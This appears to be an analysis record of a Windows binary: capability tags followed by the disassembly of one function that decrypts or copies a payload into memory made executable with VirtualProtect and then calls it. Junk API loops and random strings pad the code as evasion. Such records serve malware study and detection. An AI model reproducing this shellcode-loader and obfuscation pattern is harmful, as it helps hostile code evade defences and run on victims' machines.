Function at 0x401669
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Get common file path
Get disk information
Get geographical location

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1020
call fcn.0040e8d0
mov ecx, dword [0x1dd7958]
push esi
push edi
cmp ecx, 0x93
je 0x4017fa
mov eax, dword [0x4182d8]
add ecx, 0x1134b
push ecx
xor esi, esi
mov dword [0x1dd795c], eax
push esi
mov dword [0x1dd7958], ecx
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
lea ecx, [ebp - 8]
mov dword [0x1dd78c4], eax
push ecx
push 0x40
push dword [0x1dd7958]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov edi, 0xa90ee
call dword [sym.imp.KERNEL32.dll_GetLastError]
dec edi
jne 0x4016c7
mov edx, dword [0x1dd7958]
mov edi, esi
test edx, edx
je 0x401742
mov eax, dword [0x1dd795c]
mov cl, byte [eax + edi + 0x1134b]
mov eax, dword [0x1dd78c4]
mov byte [eax + edi], cl
cmp edx, 0x490
jne 0x40173d
push esi
lea eax, [ebp - 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_LocalFileTimeToFileTime]
call dword [sym.imp.KERNEL32.dll_GetConsoleOutputCP]
push 0x4157c8
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push esi
lea eax, [ebp - 0x1020]
push eax
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 4]
push eax
push esi
lea eax, [ebp - 0x820]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationW]
mov edx, dword [0x1dd7958]
inc edi
cmp edi, edx
jb 0x4016dc
mov edi, esi
lea eax, [edx + edi]
cmp eax, 0x8d
jne 0x401783
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetFullPathNameW]
push esi
lea eax, [ebp - 4]
push eax
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_WriteConsoleA]
push esi
push esi
push str.vofexugihonupigipireminu
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasA]
mov edx, dword [0x1dd7958]
inc edi
cmp edi, 0x38681
jl 0x401744
push ecx
call fcn.00401626
mov edi, esi
push esi
call dword [sym.imp.KERNEL32.dll_SetLastError]
cmp edi, 0x62
jne 0x4017a5
call fcn.0040164d
inc edi
cmp edi, 0x674db
jl 0x401794
mov eax, dword [0x1dd7958]
mov edi, esi
cmp eax, 0x86
je 0x4017f3
cmp eax, 0xf
jne 0x4017d0
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov eax, dword [0x1dd7958]
inc edi
cmp edi, 0x7b
jl 0x4017b5
push str.msimg32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov eax, dword [0x1dd78c4]
mov dword [0x1dd794c], eax
call eax
pop edi
pop esi
mov esp, ebp
pop ebp
ret
push esi
call dword [sym.imp.KERNEL32.dll_ExitThread]
push str.mewibuwowuwen
call dword [sym.imp.KERNEL32.dll_AddAtomW]
xor eax, eax
xor esi, esi
push esi
btr dword [eax], 0
lea eax, [ebp - 0x1020]
push eax
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
push esi
lea eax, [ebp - 0x420]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
push esi
call fcn.00402ae4
pop ecx
xorps xmm1, xmm1
xorps xmm0, xmm0
call fcn.00401080
push str.bad_exception
lea ecx, [ebp - 0x14]
call fcn.004010c6
lea ecx, [ebp - 0x14]
call fcn.004010e2
push esi
call fcn.0040369f
pop ecx
push esi
push esi
call fcn.00402a64
push esi
call fcn.00403663
add esp, 0xc
push esi
call fcn.00403936
pop ecx
call fcn.00402a83
int3